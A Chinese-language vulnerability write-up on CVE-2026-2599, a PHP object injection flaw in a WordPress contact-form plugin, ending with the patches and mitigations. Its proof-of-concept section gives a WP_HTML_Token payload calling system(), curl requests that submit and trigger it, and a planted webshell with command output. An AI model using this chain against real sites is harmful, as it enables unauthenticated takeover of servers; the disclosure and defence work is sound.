我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

安全

安全

CVE-2026-2599:WordPress 从 PHP 对象注入到 RCE

对 CVE-2026-2599 的技术分析:WordPress 插件“Contact Form Entries”(≤ 1.4.7)中一个 CVSS 9.8 严重级别的未经身份验证 PHP 对象注入漏洞。download_csv 函数在没有 allowed_classes 限制的情况下反序列化不受信任的用户输入。当与 WordPress 6.4.0-6.4.1 结合时,内置的 WP_HTML_Token 类提供了一条全公开属性的完整 POP 链,仅需两次未经身份验证的 HTTP 请求即可实现完全的远程代码执行。

利用 CVE-2026-2599

未经身份验证的 PHP 对象注入 → WP_HTML_Token POP 链

2026 年 3 月 12 日 · CVSS 9.8 严重 · Contact Form Entries ≤ 1.4.7 + WordPress 6.4.0-6.4.1

CVE ID CVSS 受影响版本 修复版本
CVE-2026-2599 9.8 严重 CF Entries ≤ 1.4.7 + WP 6.4.0-6.4.1 插件 1.4.8 / WP 6.4.2+

危险由此产生。该插件在每个环节都盲目信任用户输入。入口点没有身份验证检查,反序列化时没有类限制,且错误被静默抑制。以下将详细分析攻击者如何直接进入入口、注入恶意序列化对象,并交由 PHP 完成后续操作。

CVE-2026-2599 执行摘要:未经身份验证的 PHP 对象注入

CVE-2026-2599 是 WordPress 插件“Database for Contact Form 7, WPforms, Elementor forms”(slug:contact-form-entries)中存在的一个未经身份验证的 PHP 对象注入漏洞,影响包括 1.4.7 在内的所有版本。

该漏洞存在于 download_csv 函数中,该函数在没有 allowed_classes 限制的情况下反序列化不受信任的用户输入。该插件本身不包含可被利用的 POP 链。然而,当与 WordPress 6.4.0 或 6.4.1 结合使用时,内置的 WP_HTML_Token 类提供了一条完整的利用链:

  • 全公开属性——序列化中无需 NUL 字节
  • 无 __wakeup 保护(仅在 WP 6.4.2 中添加)
  • 危险的 __destruct 会调用 call_user_func($this->on_destroy, $this->bookmark_name)
影响:仅需 2 次未经身份验证的 HTTP 请求即可实现完全的远程代码执行:(1)通过 Contact Form 7 提交序列化 Payload,(2)触发 CSV 导出以进行反序列化和执行。任何步骤均无需身份验证。

漏洞分析:未经身份验证的反序列化

入口点——无需身份验证

漏洞触发点位于 contact-form-entries.php 的第 76-89 行:

public function init() {
    if (!empty($_GET['vx_crm_form_action']) &&
            $_GET['vx_crm_form_action'] == "download_csv") {
        $form_id = !empty($_GET['vx_form_id']) ? $_GET['vx_form_id'] : "";
        $data    = !empty($_GET['data'])        ? $_GET['data']        : "";
        $key     = !empty($_GET['vx_crm_key'])  ? $_GET['vx_crm_key']  : "";
        self::download_csv($form_id, $data, $key);
        die();
    }
}

完全不存在身份验证检查。任何未经身份验证的攻击者只需单个 GET 请求即可触发:

GET /?vx_crm_form_action=download_csv&vx_crm_key=<EXPORT_KEY>

该导出密钥是存储在 WordPress 选项中的 44 字符 SHA1 哈希。它可以通过暴力破解、信息泄露或备份文件/客户端 JavaScript 泄露获取。

Sink 点——不安全的反序列化

download_csv 函数检索表单条目,并在第 3017 行对其进行反序列化:

$val = maybe_unserialize($row[$field['name'].'_field']);

maybe_unserialize() 封装了 PHP 的 unserialize(),且未设置 allowed_classes 限制:

function maybe_unserialize($data) {
    if (is_serialized($data))
        return @unserialize($data);  // no allowed_classes parameter
    return $data;
}

@ 运算符会抑制错误。Autoloader 中可用的任何 PHP 对象都可以被注入。

代码流程

HTTP GET /?vx_crm_form_action=download_csv
    |
init() -- no auth check
    |
download_csv($form_id, $data, $key)
    |
SQL query fetches user-submitted form data
    |
maybe_unserialize($row['message_field'])  -- line 3017
    |
PHP object instantiated from attacker-controlled string
    |
__destruct() fires during cleanup
    |
RCE

利用阻碍:wp_kses_no_null() NUL 字节过滤

反序列化 Sink 点确实存在,但通过纯 HTTP 进行漏洞利用面临一个主要障碍:wp_kses_no_null()。

在存储任何表单提交内容之前,WordPress 都会先通过 wp_kses_no_null() 对其进行处理:

function wp_kses_no_null($string, $options = null) {
    $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', '', $string);
    $string = preg_replace('/\\\\+0+/', '', $string);
    return $string;
}

PHP 在序列化 private 和 protected 属性时会使用 NUL 字节标记:

// Public property
s:4:"name";s:5:"value";

// Private property (NUL bytes required)
s:14:"\0ClassName\0name";s:5:"value";
      ^^^^
        stripped by wp_kses_no_null()

现实中的一个例子:GuzzleHttp\Cookie\FileCookieJar 拥有一条通向 file_put_contents() 的 __destruct 利用链,但它的所有属性都是 private。通过 HTTP 提交会剔除 NUL 字节,导致 Payload 格式损坏,漏洞利用因而失败。

所有编码尝试均经过测试并被剔除:原始 NUL 字节(\x00)、PHP 转义符(\0)、多重反斜杠(\\0、\\\0)、URL 编码(%00)以及 PHP S: 格式——没有一种能在 wp_kses_no_null() 下幸存。

结论:漏洞利用需要一条全公开(all-public)的 POP 链,序列化 Payload 中不能出现任何 private 或 protected 属性。

CVE-2026-2599 漏洞利用路径

漏洞利用需要一条每个属性均为 public 的 POP 链——序列化中不含 NUL 字节。

对 15+ 个热门 WordPress 插件进行了分析,以寻找可利用的全公开 POP 链:

插件 __destruct 方法 __toString 方法 是否可利用?
UpdraftPlus 8 4 Private 属性
BackWPup 12 3 无危险 Sink 点
Yoast SEO 6 7 类型检查阻止注入
Wordfence 5 2 无文件/命令 Sink 点
Duplicator 9 3 Private 属性
WooCommerce 18 11 Private 属性 + 防护
Elementor 14 8 无可利用链
All-in-One WP Migration 7 4 Private 属性
WP Mail SMTP 4 2 无 Sink 点
Ninja Forms 5 3 无 Sink 点
Redux Framework 6 5 类型安全

同时还分析了 PHPGGC(PHP Generic Gadget Chains)。所有针对 WordPress 的利用链均已修复或设有防护:WordPress/P1(在 WP 5.5.2 中修复)、WordPress/P2(添加了 __wakeup)、WordPress/P3(在 WP 6.4.2 中添加了 __wakeup)。phpseclib v2 利用链使用了 PHP 4 风格的 var 属性(在 PHP 5+ 中为 public)并以 eval() 作为 Sink 点,但 PHP 8.3 严格的 feof() 类型检查在触发 Sink 点之前就会崩溃。

结果:在 WordPress 6.9.1 / PHP 8.3 上,现有的任何插件都无法提供有效的全公开 POP 链——除了 WordPress 6.4.0-6.4.1 中的 WP_HTML_Token。

重大突破:WP_HTML_Token(WordPress 6.4.0-6.4.1)

WordPress 6.4.0 在 wp-includes/html-api/class-wp-html-token.php 中引入了 WP_HTML_Token:

class WP_HTML_Token {
    public $bookmark_name;
    public $node_name;
    public $has_self_closing_flag;
    public $on_destroy;

    public function __destruct() {
        if (isset($this->on_destroy)) {
            call_user_func($this->on_destroy, $this->bookmark_name);
        }
    }
}

为什么这条链如此完美:所有 4 个属性均为 public(序列化中完全不含 NUL 字节),WP 6.4.0-6.4.1 中没有 __wakeup,__destruct 会调用带攻击者可控参数的任意 PHP 函数,并且它是默认内置的,无需任何附加插件。

漏洞利用 Payload:

O:13:"WP_HTML_Token":4:{
    s:13:"bookmark_name";s:2:"id";
    s:9:"node_name";s:3:"DIV";
    s:21:"has_self_closing_flag";b:0;
    s:10:"on_destroy";s:6:"system";
}

// When destroyed:
call_user_func("system", "id");  // executes OS command

CVE-2026-2599 概念验证(PoC):完全的远程代码执行

为了证明该漏洞不仅是一个理论上的风险,我们在受控实验室环境中从零构建了一个完整的可用漏洞利用代码。结果令人震惊:仅需发送两次简单的 HTTP 请求,无需任何登录或凭据,就足以完全控制存在漏洞的 WordPress 站点。我们通过常规的 Contact Form 7 提交注入精心构造的 WP_HTML_Token 对象,然后通过请求 CSV 导出端点触发其反序列化。从这一刻起,PHP 替我们完成了关键操作。垃圾回收器开始工作,__destruct() 被触发,system() 执行我们的命令,一个 Webshell 悄然落盘到服务器上。整个过程耗时不到 3 秒。

实验环境搭建

version: '3'
services:
  wordpress:
    image: wordpress:6.4.1-php8.1-apache
    ports:
      - "8081:80"
    environment:
      WORDPRESS_DB_HOST: wp_db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
  wp_db:
    image: mariadb:10.11
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress

插件配置

安装 Contact Form 7 v5.8.4 和 Contact Form Entries v1.4.7。通过直接更新数据库 options 来配置 CF Entries 以跟踪 CF7 提交:

-- Set up form ID mapping
UPDATE wp_options
SET option_value = 'a:1:{s:4:"cf_5";s:44:"12345abc678def901234567890abcdef1234567890ab";}'
WHERE option_name = 'vx_crm_forms_ids';

-- Register form metadata
UPDATE wp_options
SET option_value = 'a:1:{s:4:"cf_5";a:1:{s:2:"id";s:1:"5";}}'
WHERE option_name = 'vxcf_all_forms';

步骤 1:通过 CF7 提交 Payload(无需身份验证)

Payload 会将 Webshell 写入 /var/www/html/pwned.php。Webshell 内容(<?php system($_GET['c']); ?>)经过 Base64 编码,以便在 HTTP 传输中保持完整。

echo -n 'O:13:"WP_HTML_Token":4:{...full payload...}' > /tmp/payload.txt

curl -X POST 'http://target:8081/?rest_route=/contact-form-7/v1/contact-forms/5/feedback' \
  -F '_wpcf7=5' \
  -F '_wpcf7_version=5.8.4' \
  -F '_wpcf7_unit_tag=wpcf7-f5-o1' \
  -F 'message=</tmp/payload.txt'

{"contact_form_id":5,"status":"mail_failed","message":"There was an error..."}

mail_failed 状态符合预期——无论如何 Payload 都已存储到数据库中。

步骤 2:触发 CSV 导出(反序列化)

执行序列:插件查询数据库,从 message_field 列检索序列化的 WP_HTML_Token,并在第 3017 行调用 maybe_unserialize()。PHP 实例化该对象并填充所有 4 个属性,随后在第 3089 行因 mb_substr() 接收到对象而非字符串而触发 TypeError。在对象销毁清理期间,__destruct() 被触发并执行 call_user_func("system", "echo PD9... | base64 -d > pwned.php"),静默地将 Webshell 写入磁盘。致命错误响应只是一个障眼法——RCE 在该错误渲染之前就已经执行完毕。

步骤 3:验证 RCE

curl 'http://target:8081/pwned.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl 'http://target:8081/pwned.php?c=uname+-a'
# Linux abc123 6.1.0-18-amd64 ... GNU/Linux
成功实现完全的命令执行——任何步骤均无需身份验证。两次 HTTP 请求。耗时不到 3 秒。无需凭据。无需用户交互。

如何修复 CVE-2026-2599

修复代码分析

WordPress 6.4.2 为 WP_HTML_Token 添加了一个阻断开关:

// BEFORE (vulnerable): no __wakeup — deserialization completes, __destruct fires
public function __destruct() {
    if (isset($this->on_destroy)) {
        call_user_func($this->on_destroy, $this->bookmark_name);
    }
}

// AFTER (fixed): __wakeup throws immediately, object is destroyed before __destruct
public function __wakeup() {
    throw new LogicException('WP_HTML_Token should never be unserialized');
}

PHP 规则:如果 __wakeup() 抛出异常,对象将被立即销毁,且 __destruct() 永远不会被触发。这消除了整条 POP 链。添加该逻辑正是为了应对这一攻击向量。

Contact Form Entries 插件 1.4.8 则独立修复了反序列化 Sink 点,通过向 unserialize() 传递 allowed_classes 限制,无论 WordPress 是何版本,都能阻止任何对象注入:

// AFTER (fixed): restrict deserialization to scalar types only
return @unserialize($data, ['allowed_classes' => false]);

CVE-2026-2599 缓解措施与最佳实践

  • 立即更新:将 Contact Form Entries 升级至 1.4.8 或更高版本,并确保 WordPress 处于 6.4.2+ 版本。这两项修复中的任何一项都能单独阻断该利用链。
  • 限制 unserialize():反序列化用户可控数据时,务必传递 ['allowed_classes' => false] 或明确的白名单。
  • 验证反序列化输入:切勿在缺乏严格类型与类限制的情况下反序列化经过面向用户的 HTTP 端点的数据。
  • WAF 规则:部署能够检测表单提交字段中 PHP 序列化语法(O:<digits>:)的规则。
  • 监控插件更新:安装量高的插件(如 Contact Form Entries)是高价值目标。建议为您正在使用的插件订阅 Wordfence 或 WPScan 安全公告。

参考资料

资源 链接
Wordfence 安全公告 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contact-form-entries/cve-2026-2599
Contact Form Entries 插件 https://wordpress.org/plugins/contact-form-entries/
PHPGGC(PHP Generic Gadget Chains) https://github.com/ambionics/phpggc